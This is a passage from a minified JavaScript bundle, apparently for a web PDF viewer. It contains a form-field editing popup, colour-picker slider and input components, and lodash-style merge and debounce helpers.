vt.getPageWidth(vt.getCurrentPage())}),[]),J={NAME:{label:"formField.formFieldPopup.fieldName",onChange:H,value:r,required:!0,type:"text",focus:!0},VALUE:{label:"formField.formFieldPopup.fieldValue",onChange:z,value:a,type:"text"},RADIO_GROUP:{label:"formField.formFieldPopup.fieldName",onChange:H,value:r,required:!0,type:"select"}},ee=[J.NAME,J.VALUE],te=[J.NAME],ne=[J.RADIO_GROUP],oe=[J.NAME],ie=[J.NAME],ae=Rf(["(max-width: 640px)"],[!0],!1),se={READ_ONLY:{label:"formField.formFieldPopup.readOnly",onChange:U,isChecked:f},MULTI_LINE:{label:"formField.formFieldPopup.multiLine",onChange:G,isChecked:h},REQUIRED:{label:"formField.formFieldPopup.required",onChange:W,isChecked:v},MULTI_SELECT:{label:"formField.formFieldPopup.multiSelect",onChange:q,isChecked:w}},ue=[se.READ_ONLY,se.MULTI_LINE,se.REQUIRED],ce=[se.REQUIRED,se.READ_ONLY],fe=[se.READ_ONLY,se.REQUIRED],de=[se.READ_ONLY,se.REQUIRED],pe=[se.MULTI_SELECT,se.READ_ONLY,se.REQUIRED],he=[se.READ_ONLY,se.REQUIRED],me=function(){var t,n=B.getFormFieldPlaceHolderType();return"TextFormField"===n?s.a.createElement(lU,{fields:ee,flags:ue,closeFormFieldEditPopup:Y,isValid:C,validationMessage:R,annotation:B,redrawAnnotation:K,getPageHeight:X,getPageWidth:Q}):"SignatureFormField"===n?s.a.createElement(lU,{fields:te,flags:ce,closeFormFieldEditPopup:Y,isValid:C,validationMessage:R,annotation:B,redrawAnnotation:K,getPageHeight:X,getPageWidth:Q}):"CheckBoxFormField"===n?s.a.createElement(lU,{fields:te,flags:fe,closeFormFieldEditPopup:Y,isValid:C,validationMessage:R,annotation:B,redrawAnnotation:K,getPageHeight:X,getPageWidth:Q}):"RadioButtonFormField"===n?s.a.createElement(lU,{fields:ne,flags:de,closeFormFieldEditPopup:$,isValid:C,validationMessage:R,radioButtonGroups:A,annotation:B,selectedRadioGroup:r,redrawAnnotation:K,getPageHeight:X,getPageWidth:Q}):"ListBoxFormField"===n?(t=e.getFieldOptions(B),s.a.createElement(lU,{fields:oe,flags:pe,options:t,onOptionsChange:Z,closeFormFieldEditPopup:Y,isValid:C,validationMessage:R,annotation:B,redrawAnnotation:K,getPageHeight:X,getPageWidth:Q})):"ComboBoxFormField"===n?function(){var t=e.getFieldOptions(B);return s.a.createElement(lU,{fields:ie,flags:he,options:t,onOptionsChange:Z,closeFormFieldEditPopup:Y,isValid:C,validationMessage:R,annotation:B,redrawAnnotation:K,getPageHeight:X,getPageWidth:Q})}():void 0},ge=function(){return s.a.createElement(Uf,{className:js()({Popup:!0,FormFieldEditPopupContainer:!0,open:I,closed:!I}),"data-element":"formFieldEditPopup",style:dU({},k),ref:L},I&&me())};return ae?ge():s.a.createElement(ym.a,{cancel:".Button, .cell, .sliders-container svg, .creatable-list, .ui__input__input, .form-dimension-input, .ui__choice__input"},ge())},bU=n(8),wU=n.n(bU),EU=function(e,t,n,r,o){var i=o.clientWidth,a=o.clientHeight,l="number"==typeof e.pageX?e.pageX:e.touches[0].pageX,s="number"==typeof e.pageY?e.pageY:e.touches[0].pageY,u=l-(o.getBoundingClientRect().left+window.pageXOffset),c=s-(o.getBoundingClientRect().top+window.pageYOffset);if("vertical"===n){var f=void 0;if(f=c<0?0:c>a?1:Math.round(100*c/a)/100,t.a!==f)return{h:t.h,s:t.s,l:t.l,a:f,source:"rgb"}}else{var d=void 0;if(r!==(d=u<0?0:u>i?1:Math.round(100*u/i)/100))return{h:t.h,s:t.s,l:t.l,a:d,source:"rgb"}}return null},SU={},CU=function(e,t,n,r){var o=e+"-"+t+"-"+n+(r?"-server":"");if(SU[o])return SU[o];var i=function(e,t,n,r){if("undefined"==typeof document&&!r)return null;var o=r?new r:document.createElement("canvas");o.width=2*n,o.height=2*n;var i=o.getContext("2d");return i?(i.fillStyle=e,i.fillRect(0,0,o.width,o.height),i.fillStyle=t,i.fillRect(0,0,n,n),i.translate(n,n),i.fillRect(0,0,n,n),o.toDataURL()):null}(e,t,n,r);return SU[o]=i,i},xU=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},OU=function(e){var t=e.white,n=e.grey,r=e.size,o=e.renderers,i=e.borderRadius,a=e.boxShadow,u=e.children,c=wU()({default:{grid:{borderRadius:i,boxShadow:a,absolute:"0px 0px 0px 0px",background:"url("+CU(t,n,r,o.canvas)+") center left"}}});return Object(l.isValidElement)(u)?s.a.cloneElement(u,xU({},u.props,{style:xU({},u.props.style,c.grid)})):s.a.createElement("div",{style:c.grid})};OU.defaultProps={size:8,white:"transparent",grey:"rgba(0,0,0,.08)",renderers:{}};var AU=OU,_U=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},TU=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}();function kU(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function PU(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var MU=function(e){function t(){var e,n,r;kU(this,t);for(var o=arguments.length,i=Array(o),a=0;a<o;a++)i[a]=arguments[a];return n=r=PU(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(i))),r.handleChange=function(e){var t=EU(e,r.props.hsl,r.props.direction,r.props.a,r.container);t&&"function"==typeof r.props.onChange&&r.props.onChange(t,e)},r.handleMouseDown=function(e){r.handleChange(e),window.addEventListener("mousemove",r.handleChange),window.addEventListener("mouseup",r.handleMouseUp)},r.handleMouseUp=function(){r.unbindEventListeners()},r.unbindEventListeners=function(){window.removeEventListener("mousemove",r.handleChange),window.removeEventListener("mouseup",r.handleMouseUp)},PU(r,n)}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),TU(t,[{key:"componentWillUnmount",value:function(){this.unbindEventListeners()}},{key:"render",value:function(){var e=this,t=this.props.rgb,n=wU()({default:{alpha:{absolute:"0px 0px 0px 0px",borderRadius:this.props.radius},checkboard:{absolute:"0px 0px 0px 0px",overflow:"hidden",borderRadius:this.props.radius},gradient:{absolute:"0px 0px 0px 0px",background:"linear-gradient(to right, rgba("+t.r+","+t.g+","+t.b+", 0) 0%,\n rgba("+t.r+","+t.g+","+t.b+", 1) 100%)",boxShadow:this.props.shadow,borderRadius:this.props.radius},container:{position:"relative",height:"100%",margin:"0 3px"},pointer:{position:"absolute",left:100*t.a+"%"},slider:{width:"4px",borderRadius:"1px",height:"8px",boxShadow:"0 0 2px rgba(0, 0, 0, .6)",background:"#fff",marginTop:"1px",transform:"translateX(-2px)"}},vertical:{gradient:{background:"linear-gradient(to bottom, rgba("+t.r+","+t.g+","+t.b+", 0) 0%,\n rgba("+t.r+","+t.g+","+t.b+", 1) 100%)"},pointer:{left:0,top:100*t.a+"%"}},overwrite:_U({},this.props.style)},{vertical:"vertical"===this.props.direction,overwrite:!0});return s.a.createElement("div",{style:n.alpha},s.a.createElement("div",{style:n.checkboard},s.a.createElement(AU,{renderers:this.props.renderers})),s.a.createElement("div",{style:n.gradient}),s.a.createElement("div",{style:n.container,ref:function(t){return e.container=t},onMouseDown:this.handleMouseDown,onTouchMove:this.handleChange,onTouchStart:this.handleChange},s.a.createElement("div",{style:n.pointer},this.props.pointer?s.a.createElement(this.props.pointer,this.props):s.a.createElement("div",{style:n.slider}))))}}]),t}(l.PureComponent||l.Component),RU=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}();var jU=[38,40],LU=1,IU=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this));return n.handleBlur=function(){n.state.blurValue&&n.setState({value:n.state.blurValue,blurValue:null})},n.handleChange=function(e){n.setUpdatedValue(e.target.value,e)},n.handleKeyDown=function(e){var t,r=function(e){return Number(String(e).replace(/%/g,""))}(e.target.value);if(!isNaN(r)&&(t=e.keyCode,jU.indexOf(t)>-1)){var o=n.getArrowOffset(),i=38===e.keyCode?r+o:r-o;n.setUpdatedValue(i,e)}},n.handleDrag=function(e){if(n.props.dragLabel){var t=Math.round(n.props.value+e.movementX);t>=0&&t<=n.props.dragMax&&n.props.onChange&&n.props.onChange(n.getValueObjectWithLabel(t),e)}},n.handleMouseDown=function(e){n.props.dragLabel&&(e.preventDefault(),n.handleDrag(e),window.addEventListener("mousemove",n.handleDrag),window.addEventListener("mouseup",n.handleMouseUp))},n.handleMouseUp=function(){n.unbindEventListeners()},n.unbindEventListeners=function(){window.removeEventListener("mousemove",n.handleDrag),window.removeEventListener("mouseup",n.handleMouseUp)},n.state={value:String(e.value).toUpperCase(),blurValue:String(e.value).toUpperCase()},n.inputId="rc-editable-input-"+LU++,n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),RU(t,[{key:"componentDidUpdate",value:function(e,t){this.props.value===this.state.value||e.value===this.props.value&&t.value===this.state.value||(this.input===document.activeElement?this.setState({blurValue:String(this.props.value).toUpperCase()}):this.setState({value:String(this.props.value).toUpperCase(),blurValue:!this.state.blurValue&&String(this.props.value).toUpperCase()}))}},{key:"componentWillUnmount",value:function(){this.unbindEventListeners()}},{key:"getValueObjectWithLabel",value:function(e){return function(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}({},this.props.label,e)}},{key:"getArrowOffset",value:function(){return this.props.arrowOffset||1}},{key:"setUpdatedValue",value:function(e,t){var n=this.props.label?this.getValueObjectWithLabel(e):e;this.props.onChange&&this.props.onChange(n,t),this.setState({value:e})}},{key:"render",value:function(){var e=this,t=wU()({default:{wrap:{position:"relative"}},"user-override":{wrap:this.props.style&&this.props.style.wrap?this.props.style.wrap:{},input:this.props.style&&this.props.style.input?this.props.style.input:{},label:this.props.style&&this.props.style.label?this.props.style.label:{}},"dragLabel-true":{label:{cursor:"ew-resize"}}},{"user-override":!0},this.props);return s.a.createElement("div",{style:t.wrap},s.a.createElement("input",{id:this.inputId,style:t.input,ref:function(t){return e.input=t},value:this.state.value,onKeyDown:this.handleKeyDown,onChange:this.handleChange,onBlur:this.handleBlur,placeholder:this.props.placeholder,spellCheck:"false"}),this.props.label&&!this.props.hideLabel?s.a.createElement("label",{htmlFor:this.inputId,style:t.label,onMouseDown:this.handleMouseDown},this.props.label):null)}}]),t}(l.PureComponent||l.Component),NU=function(e,t,n,r){var o=r.clientWidth,i=r.clientHeight,a="number"==typeof e.pageX?e.pageX:e.touches[0].pageX,l="number"==typeof e.pageY?e.pageY:e.touches[0].pageY,s=a-(r.getBoundingClientRect().left+window.pageXOffset),u=l-(r.getBoundingClientRect().top+window.pageYOffset);if("vertical"===t){var c=void 0;if(u<0)c=359;else if(u>i)c=0;else{c=360*(-100*u/i+100)/100}if(n.h!==c)return{h:c,s:n.s,l:n.l,a:n.a,source:"hsl"}}else{var f=void 0;if(s<0)f=0;else if(s>o)f=359;else{f=360*(100*s/o)/100}if(n.h!==f)return{h:f,s:n.s,l:n.l,a:n.a,source:"hsl"}}return null},DU=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}();function FU(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function BU(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var HU=function(e){function t(){var e,n,r;FU(this,t);for(var o=arguments.length,i=Array(o),a=0;a<o;a++)i[a]=arguments[a];return n=r=BU(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(i))),r.handleChange=function(e){var t=NU(e,r.props.direction,r.props.hsl,r.container);t&&"function"==typeof r.props.onChange&&r.props.onChange(t,e)},r.handleMouseDown=function(e){r.handleChange(e),window.addEventListener("mousemove",r.handleChange),window.addEventListener("mouseup",r.handleMouseUp)},r.handleMouseUp=function(){r.unbindEventListeners()},BU(r,n)}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),DU(t,[{key:"componentWillUnmount",value:function(){this.unbindEventListeners()}},{key:"unbindEventListeners",value:function(){window.removeEventListener("mousemove",this.handleChange),window.removeEventListener("mouseup",this.handleMouseUp)}},{key:"render",value:function(){var e=this,t=this.props.direction,n=void 0===t?"horizontal":t,r=wU()({default:{hue:{absolute:"0px 0px 0px 0px",borderRadius:this.props.radius,boxShadow:this.props.shadow},container:{padding:"0 2px",position:"relative",height:"100%",borderRadius:this.props.radius},pointer:{position:"absolute",left:100*this.props.hsl.h/360+"%"},slider:{marginTop:"1px",width:"4px",borderRadius:"1px",height:"8px",boxShadow:"0 0 2px rgba(0, 0, 0, .6)",background:"#fff",transform:"translateX(-2px)"}},vertical:{pointer:{left:"0px",top:-100*this.props.hsl.h/360+100+"%"}}},{vertical:"vertical"===n});return s.a.createElement("div",{style:r.hue},s.a.createElement("div",{className:"hue-"+n,style:r.container,ref:function(t){return e.container=t},onMouseDown:this.handleMouseDown,onTouchMove:this.handleChange,onTouchStart:this.handleChange},s.a.createElement("style",null,"\n .hue-horizontal {\n background: linear-gradient(to right, #f00 0%, #ff0 17%, #0f0\n 33%, #0ff 50%, #00f 67%, #f0f 83%, #f00 100%);\n background: -webkit-linear-gradient(to right, #f00 0%, #ff0\n 17%, #0f0 33%, #0ff 50%, #00f 67%, #f0f 83%, #f00 100%);\n }\n\n .hue-vertical {\n background: linear-gradient(to top, #f00 0%, #ff0 17%, #0f0 33%,\n #0ff 50%, #00f 67%, #f0f 83%, #f00 100%);\n background: -webkit-linear-gradient(to top, #f00 0%, #ff0 17%,\n #0f0 33%, #0ff 50%, #00f 67%, #f0f 83%, #f00 100%);\n }\n "),s.a.createElement("div",{style:r.pointer},this.props.pointer?s.a.createElement(this.props.pointer,this.props):s.a.createElement("div",{style:r.slider}))))}}]),t}(l.PureComponent||l.Component);var VU=function(){this.__data__=[],this.size=0};var zU=function(e,t){return e===t||e!=e&&t!=t};var UU=function(e,t){for(var n=e.length;n--;)if(zU(e[n][0],t))return n;return-1},GU=Array.prototype.splice;var WU=function(e){var t=this.__data__,n=UU(t,e);return!(n<0)&&(n==t.length-1?t.pop():GU.call(t,n,1),--this.size,!0)};var qU=function(e){var t=this.__data__,n=UU(t,e);return n<0?void 0:t[n][1]};var ZU=function(e){return UU(this.__data__,e)>-1};var YU=function(e,t){var n=this.__data__,r=UU(n,e);return r<0?(++this.size,n.push([e,t])):n[r][1]=t,this};function $U(e){var t=-1,n=null==e?0:e.length;for(this.clear();++t<n;){var r=e[t];this.set(r[0],r[1])}}$U.prototype.clear=VU,$U.prototype.delete=WU,$U.prototype.get=qU,$U.prototype.has=ZU,$U.prototype.set=YU;var KU=$U;var XU=function(e,t){return null==e?void 0:e[t]},QU=function(){try{var e=XU(Object,"defineProperty");return e({},"",{}),e}catch(e){}}();var JU=function(e,t,n){"__proto__"==t&&QU?QU(e,t,{configurable:!0,enumerable:!0,value:n,writable:!0}):e[t]=n};var eG=function(e,t,n){(void 0!==n&&!zU(e[t],n)||void 0===n&&!(t in e))&&JU(e,t,n)};var tG=function(e){return function(t,n,r){for(var o=-1,i=Object(t),a=r(t),l=a.length;l--;){var s=a[e?l:++o];if(!1===n(i[s],s,i))break}return t}}(),nG=n(318),rG=n(97),oG=rG.a.Uint8Array;var iG=function(e){var t=new e.constructor(e.byteLength);return new oG(t).set(new oG(e)),t};var aG=function(e,t){var n=t?iG(e.buffer):e.buffer;return new e.constructor(n,e.byteOffset,e.length)};var lG=function(e,t){var n=-1,r=e.length;for(t||(t=Array(r));++n<r;)t[n]=e[n];return t};var sG=function(e){var t=typeof e;return null!=e&&("object"==t||"function"==t)},uG=Object.create,cG=function(){function e(){}return function(t){if(!sG(t))return{};if(uG)return uG(t);e.prototype=t;var n=new e;return e.prototype=void 0,n}}();var fG=function(e,t){return function(n){return e(t(n))}}(Object.getPrototypeOf,Object);var dG=function(){return!1};var pG=function(e){return"function"!=typeof e.constructor||dG(e)?{}:cG(fG(e))};var hG=function(){return!1},mG=Array.isArray,gG=Object.prototype.toString;var vG=function(e){return gG.call(e)};var yG=function(e){if(!sG(e))return!1;var t=vG(e);return"[object Function]"==t||"[object GeneratorFunction]"==t||"[object AsyncFunction]"==t||"[object Proxy]"==t};var bG=function(e){return"number"==typeof e&&e>-1&&e%1==0&&e<=9007199254740991};var wG=function(e){return null!=e&&bG(e.length)&&!yG(e)};var EG=function(e){return null!=e&&"object"==typeof e};var SG=function(e){return EG(e)&&wG(e)};var CG=function(){return!1},xG=Function.prototype,OG=Object.prototype,AG=xG.toString,_G=OG.hasOwnProperty,TG=AG.call(Object);var kG=function(e){if(!EG(e)||"[object Object]"!=vG(e))return!1;var t=fG(e);if(null===t)return!0;var n=_G.call(t,"constructor")&&t.constructor;return"function"==typeof n&&n instanceof n&&AG.call(n)==TG};var PG=function(){return!1};var MG=function(e,t){if(("constructor"!==t||"function"!=typeof e[t])&&"__proto__"!=t)return e[t]},RG=Object.prototype.hasOwnProperty;var jG=function(e,t,n){var r=e[t];RG.call(e,t)&&zU(r,n)&&(void 0!==n||t in e)||JU(e,t,n)};var LG=function(e,t,n,r){var o=!n;n||(n={});for(var i=-1,a=t.length;++i<a;){var l=t[i],s=r?r(n[l],e[l],l,n,e):void 0;void 0===s&&(s=e[l]),o?JU(n,l,s):jG(n,l,s)}return n};var IG=function(e){var t=[];if(null!=e)for(var n in Object(e))t.push(n);return t};var NG=function(e){return LG(e,IG(e))};var DG=function(e,t,n,r,o,i,a){var l=MG(e,n),s=MG(t,n),u=a.get(s);if(u)eG(e,n,u);else{var c=i?i(l,s,n+"",e,t,a):void 0,f=void 0===c;if(f){var d=mG(s),p=!d&&CG(s),h=!d&&!p&&PG(s);c=s,d||p||h?mG(l)?c=l:SG(l)?c=lG(l):p?(f=!1,c=Object(nG.a)(s,!0)):h?(f=!1,c=aG(s,!0)):c=[]:kG(s)||hG(s)?(c=l,hG(l)?c=NG(l):sG(l)&&!yG(l)||(c=pG(s))):f=!1}f&&(a.set(s,c),o(c,s,r,i,a),a.delete(s)),eG(e,n,c)}};var FG=function e(t,n,r,o,i){t!==n&&tG(n,(function(a,l){if(i||(i=new KU),sG(a))DG(t,n,l,r,e,o,i);else{var s=o?o(MG(t,l),a,l+"",t,n,i):void 0;void 0===s&&(s=a),eG(t,l,s)}}),IG)};var BG=function(e){return e};var HG=function(e,t,n){switch(n.length){case 0:return e.call(t);case 1:return e.call(t,n[0]);case 2:return e.call(t,n[0],n[1]);case 3:return e.call(t,n[0],n[1],n[2])}return e.apply(t,n)},VG=Math.max;var zG=function(e,t,n){return t=VG(void 0===t?e.length-1:t,0),function(){for(var r=arguments,o=-1,i=VG(r.length-t,0),a=Array(i);++o<i;)a[o]=r[t+o];o=-1;for(var l=Array(t+1);++o<t;)l[o]=r[o];return l[t]=n(a),HG(e,this,l)}};var UG=function(e){return e};var GG=function(e,t){return UG(zG(e,t,BG),e+"")};var WG=function(){return!1};var qG=function(e){return GG((function(t,n){var r=-1,o=n.length,i=o>1?n[o-1]:void 0,a=o>2?n[2]:void 0;for(i=e.length>3&&"function"==typeof i?(o--,i):void 0,a&&WG(n[0],n[1],a)&&(i=o<3?void 0:i,o=1),t=Object(t);++r<o;){var l=n[r];l&&e(t,l,r,i)}return t}))}((function(e,t,n){FG(e,t,n)})),ZG=function(e){var t=e.zDepth,n=e.radius,r=e.background,o=e.children,i=e.styles,a=void 0===i?{}:i,l=wU()(qG({default:{wrap:{position:"relative",display:"inline-block"},content:{position:"relative"},bg:{absolute:"0px 0px 0px 0px",boxShadow:"0 "+t+"px "+4*t+"px rgba(0,0,0,.24)",borderRadius:n,background:r}},"zDepth-0":{bg:{boxShadow:"none"}},"zDepth-1":{bg:{boxShadow:"0 2px 10px rgba(0,0,0,.12), 0 2px 5px rgba(0,0,0,.16)"}},"zDepth-2":{bg:{boxShadow:"0 6px 20px rgba(0,0,0,.19), 0 8px 17px rgba(0,0,0,.2)"}},"zDepth-3":{bg:{boxShadow:"0 17px 50px rgba(0,0,0,.19), 0 12px 15px rgba(0,0,0,.24)"}},"zDepth-4":{bg:{boxShadow:"0 25px 55px rgba(0,0,0,.21), 0 16px 28px rgba(0,0,0,.22)"}},"zDepth-5":{bg:{boxShadow:"0 40px 77px rgba(0,0,0,.22), 0 27px 24px rgba(0,0,0,.2)"}},square:{bg:{borderRadius:"0"}},circle:{bg:{borderRadius:"50%"}}},a),{"zDepth-1":1===t});return s.a.createElement("div",{style:l.wrap},s.a.createElement("div",{style:l.bg}),s.a.createElement("div",{style:l.content},o))};ZG.propTypes={background:Is.a.string,zDepth:Is.a.oneOf([0,1,2,3,4,5]),radius:Is.a.number,styles:Is.a.object},ZG.defaultProps={background:"#fff",zDepth:1,radius:2,styles:{}};var YG=ZG,$G=function(){return rG.a.Date.now()};var KG=function(e){return e},XG=Math.max,QG=Math.min;var JG=function(e,t,n){var r,o,i,a,l,s,u=0,c=!1,f=!1,d=!0;if("function"!=typeof e)throw new TypeError("Expected a function");function p(t){var n=r,i=o;return r=o=void 0,u=t,a=e.apply(i,n)}function h(e){return u=e,l=setTimeout(g,t),c?p(e):a}function m(e){var n=e-s;return void 0===s||n>=t||n<0||f&&e-u>=i}function g(){var e=$G();if(m(e))return v(e);l=setTimeout(g,function(e){var n=t-(e-s);return f?QG(n,i-(e-u)):n}(e))}function v(e){return l=void 0,d&&r?p(e):(r=o=void 0,a)}function y(){var e=$G(),n=m(e);if(r=arguments,o=this,s=e,n){if(void 0===l)return h(s);if(f)return clearTimeout(l),l=setTimeout(g,t),p(s)}return void 0===l&&(l=setTimeout(g,t)),a}return t=KG(t)||0,sG(n)&&(c=!!n.leading,i=(f="maxWait"in n)?XG(KG(n.maxWait)||0,t):i,d="trailing"in n?!!n.trailing:d),y.cancel=function(){void 0!==l&&clearTimeout(l),u=0,r=s=o=l=void 0},y.flush=function(){return void 0===l?a:v($G())},y};var eW=function(e,t,n){var r=!0,o=!0;if("function"!=typeof e)throw new TypeError("Expected a function");return sG(n)&&(r="leading"in n?!!n.leading:r,o="trailing"in n?!!n.trailing:o),JG(e,t,{leading:r,maxWait:t,trailing:o})},tW=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}();var nW=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.handleChange=function(e){"function"==typeof n.props.onChange&&n.throttle(n.props.onChange,function(e,t,n){var r=n.getBoundingClientRect(),o=r.width,i=r.height,a="number"==typeof e.pageX?e.pageX:e.touches[0].pageX,l="number"==typeof e.pageY?e.pageY:e.touches[0].pageY,s=a-(n.getBoundingClientRect().left+window.pageXOffset),u=l-(n.getBoundingClientRect().top+window.pageYOffset);s<0?s=0:s>o&&(s=o),u<0?u=0:u>i&&(u=i);var c=s/o,f=1-u/i;return{h:t.h,s:c,v:f,a:t.a,source:"hsv"}}(e,n.props.hsl,n.container),e)},n.handleMouseDown=function(e){n.handleChange(e);var t=n.getContainerRenderWindow();t.addEventListener("mousemove",n.handleChange),t.addEventListener("mouseup",n.handleMouseUp)},n.handleMouseUp=function(){n.unbindEventListeners()},n.throttle=eW((function(e,t,n){e(t,n)}),50),n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),tW(t,[{key:"componentWillUnmount",value:function(){this.throttle.cancel(),this.unbindEventListeners()}},{key:"getContainerRenderWindow",value:function(){for(var e=this.container,t=window;!t.document.contains(e)&&t.parent!==t;)t=t.parent;return t}},{key:"unbindEventListeners",value:function(){var e=this.getContainerRenderWindow();e.removeEventListener("mousemove",this.handleChange),e.removeEventListener("mouseup",this.handleMouseUp)}},{key:"render",value:function(){var e=this,t=this.props.style||{},n=t.color,r=t.white,o=t.black,i=t.pointer,a=t.circle,l=wU()({default:{color:{absolute:"0px 0px 0px 0px",background:"hsl("+this.props.hsl.h+",100%, 50%)",borderRadius:this.props.radius},white:{absolute:"0px 0px 0px 0px",borderRadius:this.props.radius},black:{absolute:"0px 0px 0px 0px",boxShadow:this.props.shadow,borderRadius:this.props.radius},pointer:{position:"absolute",top:-100*this.props.hsv.v+100+"%",left:100*this.props.hsv.s+"%",cursor:"default"},circle:{width:"4px",height:"4px",boxShadow:"0 0 0 1.5px #fff, inset 0 0 1px 1px rgba(0,0,0,.3),\n 0 0 1px 2px rgba(0,0,0,.4)",borderRadius:"50%",cursor:"hand",transform:"translate(-2px, -2px)"}},custom:{color:n,white:r,black:o,pointer:i,circle:a}},{custom:!!this.props.style});return s.a.createElement("div",{style:l.color,ref:function(t){return e.container=t},onMouseDown:this.handleMouseDown,onTouchMove:this.handleChange,onTouchStart:this.handleChange},s.a.createElement("style",null,"\n .saturation-white {\n background: -webkit-linear-gradient(to right, #fff, rgba(255,255,255,0));\n background: linear-gradient(to right, #fff, rgba(255,255,255,0));\n }\n .saturation-black {\n background: -webkit-linear-gradient(to top, #000, rgba(0,0,0,0));\n background: linear-gradient(to top, #000, rgba(0,0,0,0));\n }\n "),s.a.createElement("div",{style:l.white,className:"saturation-white"},s.a.createElement("div",{style:l.black,className:"saturation-black"}),s.a.createElement("div",{style:l.pointer},this.props.pointer?s.a.createElement(this.props.pointer,this.props):s.a.createElement("div",{style:l.circle}))))}}]),t}(l.PureComponent||l.Component);var rW=function(e,t){for(var n=-1,r=null==e?0:e.length;++n<r&&!1!==t(e[n],n,e););return e},oW=n(123),iW=n.n(oW),aW=function(e){var t=0,n=0;return rW(["r","g","b","a","h","s","l","v"],(function(r){if(e[r]&&(t+=1,isNaN(e[r])||(n+=1),"s"===r||"l"===r)){/^\d+%$/.test(e[r])&&(n+=1)}})),t===n&&e},lW=function(e,t){var n=e.hex?iW()(e.hex):iW()(e),r=n.toHsl(),o=n.toHsv(),i=n.toRgb(),a=n.toHex();return 0===r.s&&(r.h=t||0,o.h=t||0),{hsl:r,hex:"000000"===a&&0===i.a?"transparent":"#"+a,rgb:i,hsv:o,oldHue:e.h||t||r.h,source:e.source}},sW=function(e){if("transparent"===e)return!0;var t="#"===String(e).charAt(0)?1:0;return e.length!==4+t&&e.length<7+t&&iW()(e).isValid()},uW=function(e){if(!e)return"#fff";var t=lW(e);return"transparent"===t.hex?"rgba(0,0,0,0.4)":(299*t.rgb.r+587*t.rgb.g+114*t.rgb.b)/1e3>=128?"#000":"#fff"},cW=function(e,t){var n=e.replace("°","");return iW()(t+" ("+n+")")._ok},fW=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},dW=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}();var pW=function(e){var t=function(t){function n(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n);var t=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(n.__proto__||Object.getPrototypeOf(n)).call(this));return t.handleChange=function(e,n){if(aW(e)){var r=lW(e,e.h||t.state.oldHue);t.setState(r),t.props.onChangeComplete&&t.debounce(t.props.onChangeComplete,r,n),t.props.onChange&&t.props.onChange(r,n)}},t.handleSwatchHover=function(e,n){if(aW(e)){var 